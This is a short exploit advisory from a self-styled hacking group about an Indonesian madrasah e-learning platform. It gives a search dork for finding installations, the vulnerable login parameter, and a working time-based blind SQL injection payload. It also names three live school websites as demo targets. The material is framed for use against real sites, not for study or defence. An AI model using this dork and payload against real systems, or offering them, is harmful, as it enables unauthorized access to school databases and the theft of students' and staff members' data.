##########################################################
# Exploit Title: E-Learning Madrasah - SQL Injection Vulnerabilities
# Date: 2020/09/23
# Discovered By: Gh05t666nero
# Team: Indoghostsec
# Vendor Homepage: elearning.kemenag.go.id
# Version: All Version 
# Tested on: Linux #1 SMP Debian 5.7.6-1kali2 (2020-07-01)

##########################################################
[*] Dork:
=======
intitle:E-Learning.Madrasah site:sch.id

##########################################################
[*] Vulnerable parameters:
=====================
ajaran=2020[SQL-I]&username=1&password=123456

##########################################################
[*] Exploit:
========
---
Parameter: ajaran (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: ajaran=2020' AND (SELECT 4252 FROM (SELECT(SLEEP(5)))Ihai) AND 'vDBL'='vDBL&username=1&password=123456
---

##########################################################
[*] Demo:
=======
http://mankapuas.sch.id/elearning
http://elearning.man1jember.sch.id
http://elearning.mtsn2kotamagelang.sch.id

##########################################################
Telegram : https://t.me/Gh05t666nero
Instagram: https://www.instagram.com/ojan_cxs/
Twitter  : https://twitter.com/Gh05t666nero1

Greet'z: All member IndoGhostSec